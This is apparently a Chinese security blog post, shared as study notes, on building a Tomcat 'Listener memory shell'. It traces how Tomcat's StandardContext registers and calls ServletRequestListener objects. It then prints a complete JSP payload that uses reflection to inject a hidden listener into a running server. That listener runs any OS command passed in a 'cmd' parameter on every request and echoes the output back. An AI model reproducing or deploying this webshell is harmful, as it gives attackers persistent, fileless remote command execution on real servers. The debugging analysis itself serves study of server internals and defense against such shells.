0
点赞
收藏
分享

微信扫一扫

Tomcat-Listener内存马

未定义变量 2022-01-15 阅读 48

Tomcat-Listener内存马

这篇文章记录下学习 Listener 内存马学习到的东西,思路跟 Filter 型内存马差不多,找一个相对通用的 Listener ,这里用的是 ServletRequestListener ,所有的 servlet 请求都会经过这个 Listener,接下来写一个例子调试分析 Listener 的注册过程和调用过程,相对来说比较简单!

创建工程

IDEA 打开创建一个 web 工程,导入如下依赖

<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.11</version>
</dependency>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>servlet-api</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
</dependency>
<dependency>
    <groupId>javax.servlet.jsp</groupId>
    <artifactId>jsp-api</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.20</version>
    <scope>compile</scope>
</dependency>

编写 Servlet 程序

@WebServlet("/listener")
public class TestListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("tomcat-listener!!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

编写 Listener 程序

@WebListener
public class ServletListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("ServletListener#requestInitialized is invoked!");
    }
}

因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
image-20211231203007735
启动 Tomcat 中间件,访问 /listener 这个 Servlet 会发现调用了 ServletListener#requestInitialized 方法

调试分析

既然访问任何 Servlet 都会调用 ServletListener#requestInitialized 方法,那么只需反射注入 ServletListener 监听器即可,为了理解编写的 payload,下面分析监听器的注册和调用,在 ServletListener 类上下断点调试启动 Tomcat 中间件
image-20220103195857633
跟进到 StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化
image-20220103200131114
监听器从 findApplicationListeners 方法返回,跟进看一下返回的是 applicationListeners 属性,其中包含我们编写的 ServletListener
image-20220103200306409
遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList
image-20220103200734308
跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中
image-20220103200835098
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点,调试启动 Tomcat 中间件
image-20220103201012485
跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法
image-20220103201403553

构造内存马进行注入

通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
//获取到 Response 对象,用于命令回显输出
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = (Response) request.getResponse();

//命令执行并通过 Response 对象进行输出结果到浏览器中
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}

}
}
%>


<%
//获取到 StandardContext 对象的 applicationEventListenersList 属性,最后把恶意构造的监听器注入到 applicationEventListenersList 属性中
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] applicationEventListeners = standardContext.getApplicationEventListeners();
List<Object> objects = Arrays.asList(applicationEventListeners);
ArrayList arrayList = new ArrayList(objects);
arrayList.add(new ServletListener());
standardContext.setApplicationEventListeners(arrayList.toArray());
response.getWriter().write("Inject Success by listener!");
%>

参考

举报

相关推荐

0 条评论